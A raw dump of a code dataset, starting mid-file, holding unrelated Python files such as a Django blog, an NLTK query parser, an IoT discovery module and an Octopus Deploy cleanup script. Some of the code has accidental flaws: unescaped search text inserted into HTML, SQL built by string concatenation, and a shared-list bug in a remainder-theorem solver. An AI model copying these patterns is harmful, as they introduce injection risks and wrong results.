test.in\n\nif __name__ == '__main__':\n    assert len(sys.argv) == 2\n    path = sys.argv[1]\n    G, s = read_input_file(path)\n    # D, k = solve(G, s)\n    # assert is_valid_solution(D, G, s, k)\n    # print(\"Total Happiness: {}\".format(calculate_happiness(D, G)))\n    \n    max_happiness = 0\n    max_D = {}\n    max_k = 0\n    for student in (G.adjacency()):\n        max_k += 1 \n    for i in range(0, 1): #HYPERPARAMETER: how many iterations of whole algorithm to do\n        print(\"Iteration:\" + str(i))\n        D, k = solve(G, s)\n        assert is_valid_solution(D, G, s, k)\n        happiness = calculate_happiness(D, G)\n        print(\"HP: \" + str(happiness))\n        print(\"\")\n        if (happiness > max_happiness):\n            max_happiness = happiness\n            max_D = D\n            max_k = k\n\n    assert is_valid_solution(max_D, G, s, max_k)\n    print(\"BEST SOL: \" + str(max_D))\n    print(\"Total Happiness: {}\".format(calculate_happiness(max_D, G)))\n\n\n    write_output_file(D, 'out/test.out') #FIX OUTPUTS TO GO TO FOLDERS ETC.. different names\n\n\n# For testing a folder of inputs to create a folder of outputs, you can use glob (need to import it)\n# if __name__ == '__main__':\n#     inputs = glob.glob('file_path/inputs/*')\n#     for input_path in inputs:\n#         output_path = 'file_path/outputs/' + basename(normpath(input_path))[:-3] + '.out'\n#         G, s = read_input_file(input_path, 100)\n#         D, k = solve(G, s)\n#         assert is_valid_solution(D, G, s, k)\n#         cost_t = calculate_happiness(T)\n#         write_output_file(D, output_path)\n","sub_path":"solver_old.py","file_name":"solver_old.py","file_ext":"py","file_size_in_byte":9439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"322846995","text":"import json\nimport requests\n\noctopus_server_uri = 'https://your.octopus.app/api'\noctopus_api_key = 'API-YOURAPIKEY'\nheaders = {'X-Octopus-ApiKey': octopus_api_key}\n\ndef get_octopus_resource(uri):\n    response = requests.get(uri, headers=headers)\n    response.raise_for_status()\n\n    return json.loads(response.content.decode('utf-8'))\n\ndef get_by_name(uri, name):\n    resources = get_octopus_resource(uri)\n    return next((x for x in resources if x['Name'] == name), None)\n\ndef get_by_role(uri, role):\n    resources = get_octopus_resource(uri)\n    return (r for r in resources if role in r['Roles'])\n\nspace_name = 'Default'\ntarget_role = 'your-target-role'\n\nspace = get_by_name('{0}/spaces/all'.format(octopus_server_uri), space_name)\ntargets = get_by_role('{0}/{1}/machines/all'.format(octopus_server_uri, space['Id']), target_role)\n\nfor target in targets:\n    print('Deleting {0} ({1})'.format(target['Name'], target['Id']))\n    uri = '{0}/{1}/machines/{2}'.format(octopus_server_uri, space['Id'], target['Id'])\n    response = requests.delete(uri, headers=headers)\n    response.raise_for_status()","sub_path":"REST/python/Targets/delete-targets-by-role.py","file_name":"delete-targets-by-role.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"519654463","text":"class Employee:\r\n    count = 0\r\n    total_salary = 0\r\n\r\n    def __init__(self,n,f,s,d):\r\n        self.name       = n\r\n        self.family     = f\r\n        self.salary     = s\r\n        self.department  = d\r\n        Employee.count += 1\r\n        Employee.total_salary += s\r\n\r\n\r\n    def get_count(self):\r\n        print(\"Number of Employees: \", self.count)\r\n\r\n    def average_salary(self):\r\n        print(\"Average salary: \", (self.total_salary/self.count))\r\n\r\n    def get_name(self):\r\n        print(\"Name: \", self.name)\r\n\r\n    def get_family(self):\r\n        print(\"Family: \", self.family)\r\n\r\n    def get_salary(self):\r\n        print(\"Salary: \", self.salary)\r\n\r\n    def get_department(self):\r\n        print(\"department: \", self.department)\r\n\r\n\r\nclass FulltimeEmployee(Employee):\r\n    fcount = 0\r\n\r\n    def __init__(self,n,f,s,d):\r\n        self.name       = n\r\n        self.family     = f\r\n        self.salary     = s\r\n        self.department  = d\r\n        self.fcount += 1\r\n        self.total_salary += self.salary\r\n\r\n    def get_count(self):\r\n        print(\"Number of Full Time Employees: \", self.fcount)\r\n\r\n    def average_salary(self):\r\n        print(\"Average salary: \", (self.total_salary/self.fcount))\r\n\r\nx = Employee(\"Bob\", \"Smith\", 5000, \"Clerk\")\r\ny = Employee(\"Amy\", \"Brooks\", 4500, \"Clerk\")\r\nz = Employee(\"John\", \"Doe\", 6000, \"Clerk\" )\r\na = FulltimeEmployee(\"Jane\", \"Doe\", 30000, \"Manager\")\r\n\r\nx.get_count()\r\nx.get_name()\r\nx.get_family()\r\nx.get_department()\r\nx.average_salary()\r\nprint('')\r\na.get_count()\r\na.get_name()\r\na.get_family()\r\na.get_department()\r\na.average_salary()","sub_path":"Question 1.py","file_name":"Question 1.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"301823630","text":"#coding=utf8\nfrom models import Post,Category,Page,Widget\nfrom xiaojunBlog.settings import  PAGE_NUM , RECENTLY_NUM ,HOT_NUM , FIF_MIN\nfrom django.views.generic import ListView,DetailView\nfrom django.shortcuts import  render\nfrom django.core.paginator import  Paginator\nfrom django.db.models import Q\nfrom utils.cache import  LRUCacheDict,cache\nimport logging\n\nlogger=logging.getLogger(__name__)\n\nclass BaseMixin(object):\n    def get_context_data(self,*args,**kwargs):\n        context = super(BaseMixin,self).get_context_data(**kwargs)\n\n        try:\n            context['categories'] = Category.available_list()\n            context['widgets'] = Widget.available_list()\n            context['recently_posts'] = Post.get_recently_posts(RECENTLY_NUM)\n            context['hot_posts'] = Post.get_hots_posts(HOT_NUM)\n            context['pages'] = Page.objects.filter(status=0)\n            if cache.get('online.ips')!= None:\n                context['online_num'] = len(cache.get('online_ips'))\n        except Exception as e:\n            logger.exception(u'加载基本信息出错[%s]',e)\n\n        return context\n\n\n\nclass IndexView(BaseMixin, ListView):\n    query = None\n    template_name = 'index.html'\n\n    def get(self, request, *args, **kwargs):\n        try:\n            self.cur_page = int(request.GET.get('page',1))\n        except TypeError:\n            self.cur_page = 1\n\n        if self.cur_page < 1:\n            self.cur_page = 1\n\n        return super(IndexView,self).get(request,*args,**kwargs)\n\n\n    def get_context_data(self, **kwargs):\n\n        paginator = Paginator(self.object_list,PAGE_NUM)\n        kwargs['posts'] = paginator.page(self.cur_page)\n        kwargs['query'] = self.query\n        kwargs['title'] = \"WeirdBird的储忆柜\"\n        return super(IndexView,self).get_context_data(**kwargs)\n\n    def get_queryset(self):\n        self.query = self.request.GET.get('s')\n        if self.query:\n            qarg =(\n                Q(title__icontains=self.query) |\n                Q(content__icontains=self.query)\n            )\n            posts = Post.objects.defer('content','content_html').filter(qarg,status=0)\n            for post in posts:\n                post.title = post.title.replace(self.query,'<font color=\"red\">%s</font>'%self.query)\n                # post.summary = post.summary.replace(self.query,'<font color=\"red\">%s</font>'%self.query)\n\n        else:\n\n            posts = Post.objects.defer('content','content_html').filter(status=0)\n\n        return  posts\n\nclass CategoryListView(IndexView):\n\n    def get_queryset(self):\n        alias = self.kwargs.get('alias')\n\n        try:\n            self.category = Category.objects.get(alias = alias)\n        except Category.DoesNotExist:\n            return  []\n\n        posts = self.category.post_set.defer('content','content_html').filter(status = 0)\n        return posts\n\n    def get_context_data(self, **kwargs):\n        if hasattr(self,'category'):\n            kwargs['title'] = self.category.name + ' | '\n\n        return super(CategoryListView, self).get_context_data(**kwargs)\n\nclass TagsListView(IndexView):\n    def get_queryset(self):\n\n        self.tag = self.kwargs.get('tag')\n\n        posts = Post.objects.defer('content','content_html').filter(tags__icontains=self.tag,status=0)\n\n        return posts\n\n    def get_context_data(self, **kwargs):\n        kwargs['title'] = self.tag+ ' | '\n        return super(TagsListView,self).get_context_data(**kwargs)\n\nclass PostDetailView(BaseMixin,DetailView):\n    object = None\n    template_name = 'detail.html'\n    queryset = Post.objects.filter(status=0)\n    slug_field = 'alias'\n\n    def get(self,request,*args,**kwargs):\n        if 'HTTP_X_FORWARDED_FOR' in request.META:\n            ip = request.META['HTTP_X_FORWARDED_FOR']\n        else:\n            ip = request.META['REMOTE_ADDR']\n        self.cur_user_ip = ip\n        alias = self.kwargs.get('slug')\n        visited_ips = cache.get(alias,[])\n        if ip not in visited_ips:\n            try:\n                post=self.queryset.get(alias=alias)\n            except Post.DoesNotExist:\n                logger.error(u'该文章不存在:[%s]'%alias)\n                context = super(PostDetailView,self).get_context_data(**kwargs)\n                return render(request,'404.html',context)\n            else:\n                post.view_times +=1\n                post.save()\n                visited_ips.append(ip)\n                self.set_lru_read(ip,post)\n\n            cache.set(alias,visited_ips,FIF_MIN)\n\n        return super(PostDetailView,self).get(request,*args,**kwargs)\n\n    def set_lru_read(self, ip, post):\n        #保存别人正在读\n        lru_views = cache.get('lru_views')\n        print(\"保存别人正在读取%s\"%lru_views)\n        if not lru_views:\n            lru_views = LRUCacheDict(max_size=10, expiration=FIF_MIN)\n\n        if post not in lru_views.values():\n            lru_views[ip] = post\n\n        cache.set('lru_views', lru_views, FIF_MIN)\n        print(\"set 完成后的%s\"%cache.get('lru_views'))\n\n\n    def get_context_data(self, **kwargs):\n        context = super(PostDetailView,self).get_context_data(**kwargs)\n        post = self.get_object()\n        next_id = post.id +1\n        prev_id = post.id -1\n\n        try:\n            next_post = self.queryset.get(id=next_id)\n        except Post.DoesNotExist:\n            next_post = None\n\n        try:\n            prev_pst = self.queryset.get(id=prev_id)\n        except Post.DoesNotExist:\n            prev_pst = None\n        context['next_post'] = next_post\n        context['prev_post'] = prev_pst\n        if cache.get('lru_views') != None:\n            context['lru_views'] = cache.get('lru_views').items()\n\n        context['cur_user_ip'] = self.cur_user_ip\n        context['related_posts'] = post.related_posts\n\n        return context\n\n\nclass PagedetailView(BaseMixin,DetailView):\n    template_name = \"page.html\"\n    queryset = Page.objects.filter(status=0)\n    slug_field = 'alias'\n    object = None\n    def get(self,request,*args,**kwargs):\n        alias=self.kwargs.get('slug')\n        try:\n            self.object=self.queryset.get(alias=alias)\n            context=self.get_context_data(object=self.object)\n        except Page.DoesNotExist:\n            logger.error(u'该界面不存在:[%s'%alias)\n            context = self.get_context_data(**kwargs)\n            return render(request,'404.html',context)\n\n        return self.render_to_response(context)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"353628371","text":"#!/usr/bin/python\nimport nltk, re, pprint,sqlite3\nimport pdb\nimport createDatabase\n\npartsofspeechmap={'NNP': 'Proper Noun', 'NNS': 'Plural Noun', 'IN': 'Preposition', 'VB':'Verb Base Form', 'NN':'Singular noun', 'DT': 'Determiner'} #mapping from POS tag to actual meaning\n\ntimeofday=['morning', 'afternoon', 'evening']\nquarters=['autumn', 'winter', 'spring', 'summer']\nnamedentitykeys=['ORGANIZATION', 'PERSON', 'LOCATION', 'DATE', 'TIME', 'MONEY', 'PERCENT', \n\t\t\t\t'FACILITY', 'GPE']\n\npropernoungrammar1=\"PNOUN: {<NNP>*}\"\npropernoungrammar2=\"PNOUN: {<VBD> <IN> <NNP>*}\"\nprereqs=\"PREREQ: {<NN> <IN> <NN>}\"\n\ndef parseQuery(query):\n\t\"\"\"\n\tReturn query with POS tags.\n\t\"\"\"\n\tallinstructors=createDatabase.getInstructors()\n\twords=nltk.word_tokenize(query)\n\tfor inst in allinstructors: \n\t\tfor index in range(len(words)):\n\t\t\tif words[index].capitalize() in inst.split():\n\t\t\t\twords[index]=words[index].capitalize()\n\treturn nltk.pos_tag(words)\n\ndef chunkQuery(querypostags, grammar):\n\t\"\"\"\n\tChunks input query and returns relevant \n\tnamed entity nodes in list.\n\t\"\"\"\n\tallnamedentity=[]\n\tcp=nltk.RegexpParser(grammar)\n\ttree=cp.parse(querypostags)\n\tfor subtree in tree.subtrees():\n\t\tallnamedentity.append(subtree)\n\treturn allnamedentity\n\ndef getInstructorNames(namedentitynodes,instructornames):\n\t\"\"\"\n\tExtract name of instructor given named entity\n\tnodes, if an instructor name is provided. Else\n\treturn an empty list.\n\t\"\"\"\n\tallinstructors=[]\t\n\tfor n in namedentitynodes:\n\t\tinstructorname=\"\"\n\t\tif hasattr(n,'node'):\n\t\t\tif n.node=='PNOUN':\n\t\t\t\tsanitizedinstructor=[]\t\n\t\t\t\tfor c in n.leaves():\n\t\t\t\t\tfor inst in instructornames:\n\t\t\t\t\t\tif c[0] in inst and c[0] not in sanitizedinstructor:\n\t\t\t\t\t\t\tsanitizedinstructor.append(c[0])\n\t\t\t\tinstructorname=' '.join(sanitizedinstructor)\n\t\tif instructorname!='': allinstructors.append(instructorname.rstrip())\n\treturn set(allinstructors)\n\ndef createBigramTokens(querytokens):\n\t\"\"\"\n\tCreate a list of bigram tokens,\n\tgiven the input of unigram tokens.\n\t\"\"\"\n\tbigramtokens=[]\n\tfor index in range(len(querytokens)-1):\n\t\tbtoken=querytokens[index].upper()+querytokens[index+1].upper()\n\t\tbigramtokens.append(btoken)\n\treturn bigramtokens\n\ndef containsCourseCode(querytokens,coursecodes):\n\t\"\"\"\n\tChecks to see if the query tokens contain a course code.\n\tIf so, return a list of found course codes, else return the \n\tempty set.\n\t\"\"\"\n\tquerycoursecodes=[]\n\tbigramtokens=createBigramTokens(querytokens)\n\talltokens=querytokens+bigramtokens\n\tfor code in coursecodes:\n\t\tfor token in alltokens:\n\t\t\tif code==token.upper():\n\t\t\t\tquerycoursecodes.append(token.upper())\n\treturn set(querycoursecodes)\n\ndef containsDeptCode(querytokens,departmentcodes):\n\t\"\"\"\n\tChecks to see if query tokens contain a \n\tdepartment code. If found, return set of codes,\n\telse return the empty set.\n\t\"\"\"\n\tdeptcodes=set()\n\tbigramtokens=createBigramTokens(querytokens)\n\talltokens=bigramtokens+querytokens\t\n\tfor code in departmentcodes:\n\t\tfor token in alltokens:\n\t\t\tif code==token.upper():\n\t\t\t\tdeptcodes.add(token.upper())\n\treturn deptcodes\n\ndef findMatchingCourseTitles(querytokens,coursetitles, deptcodes):\n\t\"\"\"\n\tFinds whether given query string \n\tmatches any course titles.\n\t\"\"\"\n\talltitles=set()\n\tcapitalizedquery=[querytokens[index].capitalize() for index in range(len(querytokens))]\n\tnewquery=' '.join(capitalizedquery)\n\tfor title in coursetitles:\n\t\tif newquery in title and newquery.upper() not in deptcodes:\n\t\t\talltitles.add(title)\n\treturn alltitles \n\ndef updateCourseInfo(courseinfo,deptcodes,coursecodes,titles, instructors):\n\tcourseinfo['Instructors']=instructors\n\tcourseinfo['Titles']=titles\n\tcourseinfo['Course Codes']=coursecodes\n\tcourseinfo['Dept Codes']=deptcodes\t\n\ndef readQuery(query):\n\t\"\"\"\n\tReads in a query and extracts information\n\tuseful for satisfying the query.\n\tReturns information as a dict with sets as values.\n\t\"\"\"\n\t#query=raw_input(\"Please input desired course search: \")\n\tcourseinfo={}\n\tcoursecodes=createDatabase.getCourseCodes()\n\tdepartmentcodes=createDatabase.getSetOfDeptCodes()\n\tallinstructors=createDatabase.getAllInstructors() \n\tcoursetitles=createDatabase.getAllCourseTitles()\n\tcleanquery=re.sub('[\\:,/?.()]','', query).strip()\n\ttokenized=nltk.word_tokenize(cleanquery)\n\tbigramtokens=createBigramTokens(tokenized)\n\tcoursecodes=containsCourseCode(tokenized,coursecodes)\n\tdeptcodes=containsDeptCode(tokenized,departmentcodes)\n\tpostag=parseQuery(query)\n\tchunkedinstructor=chunkQuery(postag,propernoungrammar1)\n\tallinstructors=getInstructorNames(chunkedinstructor,allinstructors)\n\tupdateCourseInfo(courseinfo,deptcodes,coursecodes,findMatchingCourseTitles(tokenized,coursetitles,departmentcodes),allinstructors)\n\treturn courseinfo\n","sub_path":"submission/more/queryparser.py","file_name":"queryparser.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"174869649","text":"#!/usr/bin/env python3\n\n# https://adventofcode.com/2020/day/13\n\nimport os\nimport sys\nfrom functools import reduce\n\nwith open(os.path.join(sys.path[0], \"input.txt\"), \"r\") as file:\n    lines = [line.rstrip(\"\\n\").split(',') for line in file]\n\nearliest_depart = int(lines[0][0])\nbuses_in_service = [(i, int(b)) for i, b in enumerate(lines[1]) if b != 'x']\n\n\ndef chinese_remainder_theorem(n, a):\n    \"\"\" https://rosettacode.org/wiki/Chinese_remainder_theorem \"\"\"\n    end_sum = 0\n    prod = reduce(lambda a, b: a * b, n)\n    for n_i, a_i in zip(n, a):\n        p = prod // n_i\n        end_sum += a_i * modular__multiplicative_inverse(p, n_i) * p\n    return end_sum % prod\n\n\ndef modular__multiplicative_inverse(a, b):\n    b0 = b\n    x0, x1 = 0, 1\n    if b == 1:\n        return 1\n    while a > 1:\n        q = a // b\n        a, b = b, a % b\n        x0, x1 = x1 - q * x0, x0\n    if x1 < 0:\n        x1 += b0\n    return x1\n\n\ndef get_output_1(start, buses):\n    wait, bus = min((abs(start % (-b)), b) for _, b in buses)\n    print(wait * bus)\n\n\ndef get_output_2(buses):\n    n = a = []\n    for i, bus in buses:\n        n.append(bus)\n        a.append(bus - i)\n    print(chinese_remainder_theorem(n, a))\n\n\nget_output_1(earliest_depart, buses_in_service)\nget_output_2(buses_in_service)\n","sub_path":"13_shuttle-search/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"10663820","text":"import requests\nimport re\nimport json\nimport datetime\nimport redis\nimport ast\nimport time\nfrom gateway import ontology_instance_manager\nfrom gateway import instance_matching\nfrom SPARQLWrapper import SPARQLWrapper, JSON\n\n\ndef get_triples():\n    sparql.setQuery(\"\"\"\n        SELECT (COUNT(*) as ?Triples) \n        WHERE { ?s ?p ?o }\n    \"\"\")\n    sparql.setReturnFormat(JSON)\n    results = sparql.query().convert()\n    for result in results[\"results\"][\"bindings\"]:\n        triplets_number = result[\"Triples\"][\"value\"]\n    return triplets_number\n\n\ndef find_gateway(base_url, header, gateways):\n    search = \"?fu=1&rty=3&drt=1\"\n    for gateway, url in gateways.items():\n        tree = {}\n        try:\n            start_all_process = time.perf_counter()  # time\n            rec_gateway = requests.get(base_url + url + search, headers=header)\n            rec_gateway_dic = json.loads(rec_gateway.content)\n            find_apps(base_url, header, rec_gateway_dic, start_all_process)\n            tree[\"Relative URL\"] = url\n            tree[\"Base URL\"] = base_url\n            tree[\"Name\"] = gateway\n            tree[\"Date\"] = datetime.datetime.now()\n            ontology_instance_manager.om2m_instance_load(tree)\n        except:\n            print(\"Cannot connect with the following gateway\", url)\n            continue\n\n\ndef find_server(base_url, header, servers):\n    search = \"?fu=1&rty=3&drt=1\"\n    for server, url in servers.items():\n        tree = {}\n        try:\n            start_all_process = time.perf_counter()  # time\n            rec_server = requests.get(base_url + url + search, headers=header)\n            rec_server_dic = json.loads(rec_server.content)\n            find_apps(base_url, header, rec_server_dic, start_all_process)\n            tree[\"Relative URL\"] = url\n            tree[\"Name\"] = server\n            tree[\"Base URL\"] = base_url\n            tree[\"Date\"] = datetime.datetime.now()\n            ontology_instance_manager.om2m_instance_load(tree)\n        except Exception as e:\n            print(\"Cannot connect with the following server\", url)\n            print(\"error\", str(e))\n            continue\n\n\ndef find_device(base_url, header, urls, server_flag):\n    start_initial_execution = time.perf_counter()  # time\n    if urls['m2m:uril']:\n        servers = {}\n        gateways = {}\n        ng = 0\n        ns = 0\n        reg_urls = redis_server.smembers(\"registered_urls\")\n        for resource in urls['m2m:uril']:\n            if resource in reg_urls:\n                continue\n            result = requests.get(base_url + resource, headers=header)\n            result_dic = json.loads(result.content)\n            if (\"m2m:cin\" in result_dic) and (resource not in reg_urls):\n                redis_server.sadd(\"registered_urls\", resource)\n            if \"m2m:cb\" in result_dic and server_flag is True:\n                ns += 1\n                servers[\"Server_\" + str(ns)] = result_dic[\"m2m:cb\"][\"ri\"] + \"/\" + result_dic[\"m2m:cb\"][\"rn\"]\n            if \"m2m:cb\" in result_dic and server_flag is False:\n                ng += 1\n                gateways[\"Gateway_\"+str(ng)] = result_dic[\"m2m:cb\"][\"ri\"] + \"/\" + result_dic[\"m2m:cb\"][\"rn\"]\n        stop_initial_execution = time.perf_counter()  # time\n        initial_execution = stop_initial_execution - start_initial_execution\n        file_output2 = open('resource discovery.txt', 'a')\n        file_output2.write(\"Initial execution;\" + str(initial_execution) + \"\\n\")  # time\n        file_output2.close()\n        print(\"start_finding apps\")\n        if server_flag is True:\n            find_server(base_url, header, servers)\n        else:\n            find_gateway(base_url, header, gateways)\n        print(\"stop finding apps\")\n\n\ndef find_apps(base_url, header, urls, start_all_process):\n    if urls['m2m:uril']:\n        registered_urls = redis_server.smembers(\"registered_urls\")\n        for resource in urls['m2m:uril']:\n            start_parsing = time.perf_counter()  # time\n            try:\n                if resource in registered_urls:\n                    continue\n                print(\"res\", resource)\n                result = requests.get(base_url + resource, headers=header)\n                result_dic = json.loads(result.content)\n                if \"m2m:cin\" in result_dic:\n                    redis_server.sadd(\"registered_urls\", resource)\n                if \"m2m:sub\" in result_dic:\n                    redis_server.sadd(\"registered_urls\", resource)\n                if \"m2m:ae\" in result_dic:\n                    app = dict()\n                    app[\"Base URL\"] = base_url\n                    app[\"Relative URL\"] = resource\n                    app[\"lbl\"] = result_dic[\"m2m:ae\"][\"lbl\"]\n                    for data in app[\"lbl\"]:\n                        var = re.findall(\"(^Cat.*|^cat.*)/(.*)\", data)\n                        if var:\n                            app[\"Category\"] = var[0][1]\n                        un = re.findall(\"^(Un.*|^un.*)/(.*)\", data)\n                        if un:\n                            app[\"Unit\"] = un[0][1]\n                        loc = re.findall(\"(^Lo.*|^lo.*)/(.*)\", data)\n                        if loc:\n                            app[\"Location\"] = loc[0][1]\n                        mod = re.findall(\"(^Mo.*|^mo.*)/(.*)\", data)\n                        if mod:\n                            app[\"Model\"] = mod[0][1]\n                    rec_app = requests.get(base_url + resource + \"?fu=1&rty=3&drt=1\", headers=header)\n                    rec_app_dic = json.loads(rec_app.content)\n                    if rec_app_dic['m2m:uril']:\n                        rec_app_dic['m2m:uril'] = [x for x in rec_app_dic['m2m:uril'] if\n                                                   x.startswith(resource + \"/\")]\n                        urls_cont = []\n                        for cont in rec_app_dic['m2m:uril']:\n                            if cont in registered_urls:\n                                continue\n                            container = requests.get(base_url + cont, headers=header)\n                            container_dic = json.loads(container.content)\n                            if \"m2m:cin\" in container_dic:\n                                urls_cont.append(cont)\n                                continue\n                            if \"m2m:cnt\" in container_dic:\n                                urls_cont.append(cont)\n                                app[container_dic[\"m2m:cnt\"][\"rn\"]] = container_dic[\"m2m:cnt\"]\n                    app[\"Parent\"] = re.findall(\"/(.*?)/\", resource)[0]\n                    app[\"App Name\"] = re.findall(\"/.*/(.*)\", resource)[0]\n                    qos = requests.get(base_url + resource + \"/QoS/la\", headers=header)\n                    qos_dic = json.loads(qos.content)\n                    qos_text = qos_dic[\"m2m:cin\"][\"con\"].replace(\"false\", \"False\").replace(\"true\", \"True\")\\\n                        .replace(\"none\", \"None\")\n                    app[\"QoS\"] = ast.literal_eval(qos_text)\n                    system_properties = requests.get(base_url + resource + \"/System_Properties/la\", headers=header)\n                    system_properties_dic = json.loads(system_properties.content)\n                    system_properties_text = system_properties_dic[\"m2m:cin\"][\"con\"].replace(\"false\", \"False\")\\\n                        .replace(\"true\", \"True\").replace(\"none\", \"None\")\n                    app[\"System property\"] = ast.literal_eval(system_properties_text)\n                    if app[\"DATA\"] and app[\"Healthcheck\"]:\n                        stop_parsing = time.perf_counter()  # time\n                        ontology_instance_manager.app_instance_load(app)\n                        stop_instantiation = time.perf_counter()   # time\n                        redis_server.sadd(\"registered_urls\", resource)\n                        for cont in urls_cont:\n                            redis_server.sadd(\"registered_urls\", cont)\n                        guidepost = redis_server.smembers(\"execution_guidepost_services\")\n                        len_guidepost = len(guidepost)\n                        inclusion_time = list()\n                        for service in guidepost:\n                            start_inclusion = time.perf_counter()\n                            try:\n                                service_requirement = ast.literal_eval(redis_server.get(service + \"_requirement\"))\n                                functional_requirement = service_requirement[\"functional\"]\n                                if app[\"Category\"] == functional_requirement[\"Category\"]:\n                                    system_properties_requirement = service_requirement[\"system\"]\n                                    qos_requirement = service_requirement[\"qos\"]\n                                    device = app[\"Base URL\"] + app[\"Relative URL\"]\n                                    instance_matching.instance_matching(functional_requirement, system_properties_requirement, qos_requirement,\n                                                      device, None)\n                                    stop_inclusion = time.perf_counter()\n                                    inclusion_time.append(stop_inclusion - start_inclusion)\n                                else:\n                                    stop_inclusion = time.perf_counter()\n                                    inclusion_time.append(stop_inclusion - start_inclusion)\n                                    continue\n                            except Exception as e:\n                                stop_inclusion = time.perf_counter()\n                                inclusion_time.append(stop_inclusion - start_inclusion)\n                        stop_all_process = time.perf_counter()  # time\n                        parsing = stop_parsing - start_parsing  # time\n                        ontology_instantiation = stop_instantiation - stop_parsing  # time\n                        discovery_parsing = stop_all_process - start_all_process  # time\n                        triplets_number = get_triples()\n                        file_output1 = open('resource discovery.txt', 'a')  # time\n                        file_output1.write(str(discovery_parsing) + \";\" + str(parsing) + \";\"\n                                           + str(ontology_instantiation) + \";\" + str(triplets_number) + \"\\n\")  # time\n                        file_output1.close()  # time\n                        print(inclusion_time)\n                        if inclusion_time:\n                            print(\"printing inclusion time\")\n                            file_output1 = open('Device inclusion.txt', 'a')  # time\n                            inclusion_text = \"\"\n                            for text in inclusion_time:\n                                inclusion_text = inclusion_text + str(text) + \";\"\n                            file_output1.write(str(triplets_number) + \";\" + str(len_guidepost) + \";\"\n                                               + str(discovery_parsing) + \";\" + str(parsing) + \";\"\n                                               + str(ontology_instantiation) + \";\" + str(sum(inclusion_time)) + \";\"\n                                               + inclusion_text + \"\\n\")  # time\n                            file_output1.close()\n\n\n            except Exception as e:\n                print(\"error\", str(e))\n                if resource in registered_urls:\n                    continue\n                else:\n                    print(\"not valid app\")\n                    continue\n\n\n# sparql = SPARQLWrapper(\"http://localhost:3030/mod_ssn/\")\nsparql = SPARQLWrapper(\"http://172.24.100.100:8000/mod_ssn\")\n# pool = redis.ConnectionPool(host='localhost', port=6379, db=0, decode_responses=True)\npool = redis.ConnectionPool(host='172.24.100.98', port=8080, db=0, decode_responses=True)\nredis_server = redis.Redis(connection_pool=pool)\nfile_output = open('resource discovery.txt', 'a')\nfile_output.write(\"Discovery and Parsing time;Parsing time;Ontology instantiation time;Triples numbers\\n\")\nfile_output.write(\"0;0;\" + str(get_triples()) + \"\\n\")  # time\nfile_output.close()\n\nfile_output = open('Device inclusion.txt', 'a')\nfile_output.write(\"Triples numbers;Guidepost_size;Discovery and Parsing time;Parsing time;Ontology instantiation time;\"\n                  \"Total inclusion time;Inclusion time\\n\")\nfile_output.write(\"0;0;0;\" + str(get_triples()) + \";0\\n\")  # time\nfile_output.close()\n","sub_path":"GatewayIoT/gateway/RD_functions.py","file_name":"RD_functions.py","file_ext":"py","file_size_in_byte":12322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"151630565","text":"import xlrd\nfrom datetime import date\nfrom datetime import datetime\nimport random\n\nworkbook = xlrd.open_workbook('diagnose.xlsx')\nworksheet = workbook.sheet_by_name('Sheet1')\nfile = open(\"diagnoseInsert.txt\",\"w\") \n\nempNum = 2\nfor x in range(0, 30884):\n    \n    year = random.choice(range(1990, 2018))\n    month = random.choice(range(1, 13))\n    day = random.choice(range(1, 29))\n    \n    disease=worksheet.cell(x, 0).value\n    pid=worksheet.cell(x, 1).value\n    \n    pid = int(pid)\n    pidStr = str(pid)\n    disease=disease.encode('utf-8')\n    pidStr=pidStr.encode('utf-8')\n    date_diagnosed = date(year,month, day)\n    \n    eid = \"Doc\" + str(empNum)\n    patient = \"P-\" + str(pidStr)\n    file.write(\"Insert into diagnose\" +\" \" + \"values ('\"+(eid)+\"', '\"+(disease)+\"','\"+(patient)+\"','\"+str(date_diagnosed)+\"');\\n\")\n    \n    if empNum <30:\n        empNum += 2\n    else: empNum = 2\nfile.close()\n","sub_path":"diagnose.py","file_name":"diagnose.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"544879072","text":"import os\nimport xlrd\nimport xlwt\nfrom ..db import SqliteManager as dbm\nfrom ..models.models import Key\nfrom ..config import DATA_DIR_PATH as data_store_path\nfrom ..config import DATA_EXCEL_PATH as xls_store_path\n\n\ndef switch(argument):\n    switcher = {\n        0: 'id',\n        1: 'predio zgrade',\n        2: 'odjel',\n        3: 'kat',\n        4: 'broj prostorije'\n    }\n    return switcher.get(argument, 'nepoznato')\n\n\ndef seed(file_location):\n    workbook = xlrd.open_workbook(file_location)\n    sheet = workbook.sheet_by_name('kljucevi')\n    data = []\n    for i in range(1, sheet.nrows):\n        room_dict = {\n            switch(0): 0\n        }\n        for j in range(sheet.ncols):\n            field_name = switch(j)\n            field_value = sheet.cell_value(i, j)\n            room_dict[field_name] = field_value\n        data.append(room_dict)\n    db = dbm.get_db()\n    cur = db.cursor()\n    results = []\n    for i in range(len(data)):\n        row = data[i]\n        room_id = int(row[switch(4)])\n        block_name = row[switch(1)]\n        sector_name = row[switch(2)]\n        floor = int(row[switch(3)])\n        room_repr = block_name + sector_name + str(floor) + '-' + str(room_id)\n        params = tuple([p for p in (room_id, block_name, sector_name, floor, room_repr)])\n        cur.execute('''INSERT OR IGNORE INTO Key (room_id, block_name, sector_name, floor, room_repr)\n            VALUES ( ?, ?, ?, ?, ? )''', params)\n        db.commit()\n        cur.execute('SELECT id FROM Key WHERE room_id = ? ', (room_id,))\n        room_pk = cur.fetchone()[0]\n        data[i]['id'] = room_pk\n        tag_id = ''\n        